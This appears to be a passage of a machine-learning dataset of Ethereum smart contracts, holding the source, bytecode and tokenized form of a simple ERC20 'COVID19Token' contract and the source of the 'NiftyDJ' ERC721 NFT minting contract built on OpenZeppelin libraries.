transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/COVID19Token.sol // contracts/COVID19Token.sol pragma solidity ^0.8.0; contract COVID19Token is ERC20 { constructor(uint256 initialSupply) ERC20("COVID19Token", "COVID19") { _mint(msg.sender, initialSupply); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012957806370a082311461013c57806395d89b411461014f578063a457c2d714610157578063a9059cbb1461016a578063dd62ed3e1461017d576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ec57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b6610190565b6040516100c391906106df565b60405180910390f35b6100df6100da3660046106ab565b610222565b6040516100c391906106d4565b6100f461023f565b6040516100c39190610913565b6100df61010f366004610670565b610245565b61011c6102e5565b6040516100c3919061091c565b6100df6101373660046106ab565b6102ea565b6100f461014a36600461061d565b610339565b6100b6610358565b6100df6101653660046106ab565b610367565b6100df6101783660046106ab565b6103e2565b6100f461018b36600461063e565b6103f6565b60606003805461019f90610959565b80601f01602080910402602001604051908101604052809291908181526020018280546101cb90610959565b80156102185780601f106101ed57610100808354040283529160200191610218565b820191906000526020600020905b8154815290600101906020018083116101fb57829003601f168201915b5050505050905090565b600061023661022f610421565b8484610425565b50600192915050565b60025490565b60006102528484846104d9565b6001600160a01b038416600090815260016020526040812081610273610421565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156102bf5760405162461bcd60e51b81526004016102b6906107fd565b60405180910390fd5b6102da856102cb610421565b6102d58685610942565b610425565b506001949350505050565b601290565b60006102366102f7610421565b848460016000610305610421565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546102d5919061092a565b6001600160a01b0381166000908152602081905260409020545b919050565b60606004805461019f90610959565b60008060016000610376610421565b6001600160a01b03908116825260208083019390935260409182016000908120918816815292529020549050828110156103c25760405162461bcd60e51b81526004016102b6906108ce565b6103d86103cd610421565b856102d58685610942565b5060019392505050565b60006102366103ef610421565b84846104d9565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661044b5760405162461bcd60e51b81526004016102b69061088a565b6001600160a01b0382166104715760405162461bcd60e51b81526004016102b690610775565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104cc908590610913565b60405180910390a3505050565b6001600160a01b0383166104ff5760405162461bcd60e51b81526004016102b690610845565b6001600160a01b0382166105255760405162461bcd60e51b81526004016102b690610732565b610530838383610601565b6001600160a01b038316600090815260208190526040902054818110156105695760405162461bcd60e51b81526004016102b6906107b7565b6105738282610942565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906105a990849061092a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105f39190610913565b60405180910390a350505050565b505050565b80356001600160a01b038116811461035357600080fd5b60006020828403121561062e578081fd5b61063782610606565b9392505050565b60008060408385031215610650578081fd5b61065983610606565b915061066760208401610606565b90509250929050565b600080600060608486031215610684578081fd5b61068d84610606565b925061069b60208501610606565b9150604084013590509250925092565b600080604083850312156106bd578182fd5b6106c683610606565b946020939093013593505050565b901515815260200190565b6000602080835283518082850152825b8181101561070b578581018301518582016040015282016106ef565b8181111561071c5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b6000821982111561093d5761093d610994565b500190565b60008282101561095457610954610994565b500390565b60028104600182168061096d57607f821691505b6020821081141561098e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122049b792494acb35a4578328ce77a997a0075a50e121f48ee12b47ebc3ae5dba2864736f6c63430008000033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 16576, 2692, 7959, 16576, 14142, 2575, 2278, 11387, 26187, 2581, 23632, 2063, 18827, 2629, 2094, 23632, 12740, 2629, 8586, 2497, 2549, 27717, 14141, 29097, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,030
0x96176A1225D263B2691976ea3F2525AEBBDcf23B
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract NiftyDJ is Ownable, ERC721Enumerable, ERC721Burnable, ERC721URIStorage { using Strings for uint256; uint256 public MAX_SUPPLY; uint256 public price; bool public salePaused; string private _baseTokenURI; string private _baseTokenExtension; constructor(uint256 maxSupply, uint256 initialPrice, string memory baseURI) public ERC721("Nifty DJs", "NFDJ") { salePaused = true; MAX_SUPPLY = maxSupply; price = initialPrice; _baseTokenExtension = '.json'; _baseTokenURI = baseURI; } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } /************ OWNER FUNCTIONS ************/ function changeBaseURI(string calldata baseURI) public onlyOwner { _baseTokenURI = baseURI; } function withdraw() public onlyOwner { payable(0x78160a087f0714Aa6D342760eF9A132AfeC42476).transfer((address(this).balance*28)/100); payable(0xC1b856b810C18D281f658C3a29b3890868DD70DE).transfer(address(this).balance); } function setPrice(uint256 newPrice) public onlyOwner { price = newPrice; } function beginSale() public onlyOwner { salePaused = false; } function pauseSale() public onlyOwner { salePaused = true; } function ownerMint(uint256 quantity) public onlyOwner { require(totalSupply() + quantity <= MAX_SUPPLY, "MINT:MAX SUPPLY REACHED"); for(uint i = 0; i < quantity; i++) { _mint(owner(), totalSupply()); } } function setTokenExtension(string memory extension) public onlyOwner { _baseTokenExtension = extension; } function mint(uint256 quantity) public payable { require(totalSupply() + quantity <= MAX_SUPPLY, "MINT:MAX SUPPLY REACHED"); require(msg.value == price * quantity, "MINT:MSG.VALUE INCORRECT"); require(quantity <= 50, "MINT:MSG.VALUE INCORRECT"); require(!salePaused, "MINT:SALE PAUSED"); for (uint256 i = 0; i < quantity; i++) { _safeMint(msg.sender, totalSupply()); } } function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) { return string(abi.encodePacked(_baseURI(), tokenId.toString(), _baseTokenExtension)); } function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) { return super._burn(tokenId); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "../../../utils/Context.sol"; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in 